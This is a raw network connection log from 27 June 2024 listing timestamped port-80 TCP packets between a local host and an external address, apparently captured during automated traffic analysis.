Jun 27, 2024 19:27:28.891007900 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.895967007 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.582705021 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.582777977 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.583724976 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.589848042 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.801342964 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.801485062 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.916276932 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.916661978 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.922126055 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.922349930 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:29.922353983 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.922405005 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.922636986 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:29.927375078 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.625206947 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.625286102 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.625878096 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.630696058 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.853590965 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.853646040 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.964507103 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.964840889 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.969659090 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.969737053 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.969794989 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:30.969849110 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.970000029 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:30.975101948 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.657011986 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.657138109 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.659673929 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.664527893 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.876090050 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.876226902 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.978996992 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.979541063 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.992063046 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.992127895 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:31.992135048 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.992189884 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.992331028 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:31.999617100 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:32.696232080 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:32.696311951 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:32.697030067 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:32.701807022 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:32.920213938 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:32.920331955 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.025938988 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.026499987 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.031156063 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.031233072 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.031563044 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.031620979 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.031783104 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.036546946 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.746764898 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.746834993 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.749111891 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:33.753984928 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.977214098 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:33.977391005 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.088315964 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.088660955 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.093405008 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:34.093466997 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:34.093533039 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.093580008 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.093766928 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.098474026 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:34.781985998 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:34.782237053 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.787843943 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:34.792572975 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.004739046 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.004810095 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.119503021 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.119796038 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.124768019 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.124852896 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.124958992 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.125134945 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.125154972 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.130129099 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.833867073 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:35.833967924 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.834673882 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:35.839443922 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.060611963 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.060719013 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.166215897 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.166536093 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.171349049 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.171442032 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.171551943 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.171577930 CEST	80	49748	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.171785116 CEST	49748	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.176578999 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.897010088 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:36.897120953 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.897840023 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:36.903040886 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.127934933 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.128073931 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.248590946 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.249048948 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.253717899 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.253796101 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.253964901 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.254034042 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.257308960 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.262933016 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.980015993 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:37.980110884 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.980762959 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:37.989042997 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:38.210628033 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:38.210735083 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.322341919 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.322699070 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.327464104 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:38.327529907 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.327563047 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:38.327641964 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.327785015 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:38.332530975 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.029901028 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.029963970 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.030586958 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.035609007 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.247476101 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.247559071 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.353777885 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.354015112 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.358834982 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.358978033 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.359160900 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.361449957 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:39.361519098 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:39.363996029 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.068030119 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.068305016 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.070945978 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.075719118 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.296237946 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.296338081 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.400544882 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.400903940 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.405781984 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.405900955 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.406106949 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.406147957 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:40.406205893 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:40.410938025 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.138149977 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.138228893 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.138827085 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.143879890 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.373022079 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.373084068 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.478766918 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.479085922 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.483881950 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.483927011 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:41.483994961 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.484019041 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.484155893 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:41.488905907 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.210860014 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.211169004 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.211909056 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.217856884 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.440956116 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.441072941 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.556962967 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.557285070 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.562149048 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.562242985 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.562347889 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.562829971 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:42.562892914 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:42.568413019 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.270112038 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.270209074 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.270934105 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.275810003 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.511472940 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.511588097 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.619402885 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.619725943 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.634911060 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.635001898 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.635098934 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.635617018 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:43.635669947 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:43.642494917 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.443392992 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.443475962 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.444153070 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.448939085 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.669002056 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.669147015 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.775619984 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.775943041 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.780913115 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.780935049 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:44.780987024 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.781050920 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.781238079 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:44.786015987 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.483794928 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.483911037 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.484627008 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.489411116 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.706136942 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.706393003 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.822441101 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.822768927 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.829782009 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.829885006 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.830054998 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.830517054 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:45.830574036 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:45.834856987 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.529145002 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.529232979 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.529803038 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.534674883 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.751033068 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.751096964 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.853725910 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.854029894 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.858845949 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.858918905 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:46.858980894 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.859005928 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.859142065 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:46.863847971 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.572345018 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.572505951 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.575500011 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.580246925 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.795928001 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.796030998 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.900506973 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.900789022 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.905688047 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.905776978 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.905838013 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:47.905881882 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.905904055 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:47.910980940 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:48.593755960 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:48.593849897 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:48.594810963 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:48.599606037 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.045336008 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.045470953 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.046891928 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.046957016 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.150865078 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.151184082 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.156173944 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.156187057 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.156239986 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.156279087 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.156510115 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.161555052 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.871052980 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:49.871150970 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.871750116 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:49.877023935 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.091656923 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.091783047 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.197549105 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.197979927 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.202824116 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.202920914 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.203032017 CEST	80	49761	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.203066111 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.203098059 CEST	49761	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.208097935 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.897887945 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:50.898124933 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.898994923 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:50.903820038 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.114875078 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.114994049 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.229068041 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.229468107 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.234633923 CEST	80	49762	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.234651089 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.234745979 CEST	49762	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.234770060 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.234935999 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.239694118 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.973778009 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:51.973867893 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.974757910 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:51.983479977 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:52.209860086 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:52.213838100 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.322556973 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.322885036 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.331243992 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:52.331594944 CEST	80	49763	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:52.331682920 CEST	49763	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.331691027 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.331882000 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:52.340392113 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.023808956 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.023884058 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.024661064 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.030144930 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.239803076 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.239964962 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.355715990 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.355914116 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.361094952 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.361185074 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.361290932 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.361795902 CEST	80	49764	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:53.361854076 CEST	49764	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:53.366203070 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.072048903 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.075746059 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.076322079 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.085670948 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.297528982 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.297630072 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.400530100 CEST	49765	80	192.168.2.5	77.91.77.82
